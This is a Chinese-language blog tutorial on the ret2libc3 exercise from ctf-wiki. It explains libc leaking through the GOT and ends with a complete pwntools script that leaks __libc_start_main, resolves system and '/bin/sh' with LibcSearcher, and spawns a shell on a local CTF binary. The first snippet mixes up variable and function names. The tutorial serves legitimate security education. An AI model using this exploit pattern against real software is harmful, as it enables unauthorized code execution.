pwn基础之ctfwiki-栈溢出-基础ROP-ret2libc-3


基础知识

libc泄露

原理

当有一道题给了可执行文件文件,在ida分析中并不能找到system函数和binsh地址,这时我们就可以利用在栈溢出之前执行过的函数泄露libc的版本。因为libc函数相对于libc的基地址都是确定的,采用 got 表泄露,即输出某个函数对应的 got 表项的内容,所以就可以通过上述方法来获取libc函数中的system地址和字符binsh的地址。
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

利用方法

这里需要下载一个工具LibcSearcher(下载与使用方法

举个例子,在栈溢出之前执行了一个puts函数,若我们知道其地址的话既可以利用脚本获得:

    libc = LibcSearcher("gets",gets_real_addr)

    libcbase = gets_real_addr – obj.dump("fgets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移


ret2libc3

在ctfwiki上是给了三个例子的,难度循序渐进,因为前两个例子所涵盖的知识点第三个例子里面都能体现,所以我在此只分析例题三一个。

挖掘漏洞

在分析文件之前还是要先检查一下文件的保护机制。

    ret2libc3 checksec ret2libc3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

相较于前两个例子,例3仍然开启了NX保护(堆栈不可执行保护)。

查看main函数源代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

发现bug仍然是gets函数引起的栈溢出,查看函数和字符串,不存在危险函数system或者execve函数,也没有字符串’/bin/sh’

我们获得 system函数地址的方法就需要上面我们所提到的关于libc泄露的知识。我们只需要利用elf获得到__libc_start_main函数的plt表地址和got表地址就可以利用上述知识获得system的地址。在libc里也会有/bin/sh字符串,所以同理可得/bin/sh的地址。

这里我们泄露__libc_start_main函数是因为它是程序最初被执行的地方。

利用漏洞

通过构造两次payload进行漏洞利用:
第一次构造payload:通过获得elf获得puts函数的plt表值,__libc_start_main 的got表值,还有main函数的地址用来第二次出发漏洞以及puts输出main函数的地址
第二次构造payload:利用__libc_start_main地址得到的libc版本,通过LibcSearcher得到函数的偏移量。可以利用下面的公式

函数源地址=libc基址+函数的偏移地址
libc基址=函数源地址-函数偏移地址

这样就可以得到system的地址和/bin/sh地址。

利用脚本

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
payload = 'a'*112+p32(puts_plt)+p32(main)+p32(libc_start_main_got)
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = 'a'*104+p32(system_addr)+'aaaa'+p32(binsh_addr)
sh.sendline(payload)

sh.interactive()


参考文章
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#3

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值